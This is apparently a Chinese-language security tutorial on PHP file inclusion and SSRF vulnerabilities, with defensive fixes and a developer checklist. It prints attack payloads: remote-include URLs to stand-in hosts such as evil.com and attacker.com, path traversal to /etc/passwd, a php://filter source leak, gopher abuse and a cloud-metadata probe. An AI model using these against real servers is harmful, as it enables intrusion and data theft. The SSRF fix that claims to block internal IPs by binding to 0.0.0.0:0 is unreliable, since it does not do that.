PHP安全漏洞深度解析:文件包含与SSRF攻击的攻防实战
文章目录
- 一、文件包含漏洞:被忽视的“致命开关”
- 二、SSRF攻击:穿透边界的“内网匕首”
- 三、联合攻击:文件包含+SSRF的致命组合
- 四、深度防御方案:从代码到架构
- 五、开发者自查清单
一、文件包含漏洞:被忽视的“致命开关”
漏洞原理
PHP的include
、require
等函数在动态加载文件时,若未对路径参数做严格校验,攻击者可操控文件路径实现恶意操作:
// 危险代码示例(用户控制$_GET['page'])
include($_GET['page'] . '.php');
攻击者通过构造参数:?page=http://evil.com/shell
可执行远程恶意脚本(需allow_url_include=On
)。
攻击分类
- 本地文件包含(LFI)
?page=../../etc/passwd
可读取服务器敏感文件,甚至结合文件上传获取Webshell。 - 远程文件包含(RFI)
?page=http://attacker.com/backdoor.txt
直接加载远程恶意代码,实现服务器沦陷。
高级利用技巧
-
日志注入攻击:包含
/var/log/apache2/access.log
,在User-Agent中插入PHP代码执行 -
PHP伪协议利用:
?page=php://filter/convert.base64-encode/resource=config.php
绕过死亡exit,读取加密文件源码。
二、SSRF攻击:穿透边界的“内网匕首”
漏洞本质
服务端请求伪造(SSRF)利用服务端发起未经授权的HTTP请求,突破网络隔离攻击内网系统:
// 危险代码示例(用户控制URL参数)
file_get_contents($_GET['url']);
致命利用场景
- 攻击内网应用
url=http://192.168.1.100:8080/admin/deleteAll
删除内网管理后台数据。 - 协议滥用
file://
协议:读取本地文件(?url=file:///etc/passwd
)gopher://
协议:发送任意TCP流量,攻击Redis/Memcached等
真实案例:2023年某电商SSRF→Redis RCE
攻击链:
SSRF → 内网未授权Redis → 写SSH公钥 → 服务器Root权限丢失
三、联合攻击:文件包含+SSRF的致命组合
利用场景
当存在文件包含且allow_url_include=On
时:
include($_GET['file']); // 参数?file=http://127.0.0.1:8080
通过SSRF构造指向内网服务的URL,实现:
- 读取内网敏感文件(
file://
协议) - 触发内网应用的未授权接口
四、深度防御方案:从代码到架构
文件包含漏洞修复
// 方案1:白名单控制
$allowed = ['home','news','about'];
if(in_array($_GET['page'], $allowed)) {include($_GET['page'].'.php');
} else {die('Invalid request!');
}// 方案2:禁用远程包含
; php.ini配置
allow_url_include = Off
allow_url_fopen = Off
SSRF多层次防御
// 方案1:协议白名单 + DNS重绑定防护
$parsed = parse_url($_GET['url']);
if(!in_array($parsed['scheme'], ['http','https'])) {die("Protocol forbidden!");
}// 方案2:请求目标限制(PHP 7.1+)
$context = stream_context_create(['socket' => ['bindto' => '0.0.0.0:0'], // 禁止访问内网IP'http' => ['follow_location' => false] // 禁用跳转
]);
file_get_contents($url, false, $context);
架构级防护
- 网络隔离:关键内网服务设置防火墙白名单
- 请求代理:所有出站请求经安全网关过滤
- 权限最小化:Web服务器用户禁止访问敏感目录
五、开发者自查清单
- 所有包含操作是否使用固定后缀(如
.php
)? - 是否禁用
allow_url_include
和allow_url_fopen
? - 网络请求函数是否过滤
file://
、gopher://
等危险协议? - 内网服务是否开启身份认证?
深度防御箴言:“永远不要信任用户输入,即使是间接输入!” 通过参数白名单、上下文隔离、纵深防御三层机制,可有效遏制此类漏洞。
附录:漏洞测试Payload
# LFI测试
?page=../../../../etc/passwd%00# SSRF测试(探测内网)
?url=http://169.254.169.254/latest/meta-data
本文提供完整防御代码示例及攻击流程图解(可联系获取),建议结合自动化扫描工具(如PHPStan)持续检测。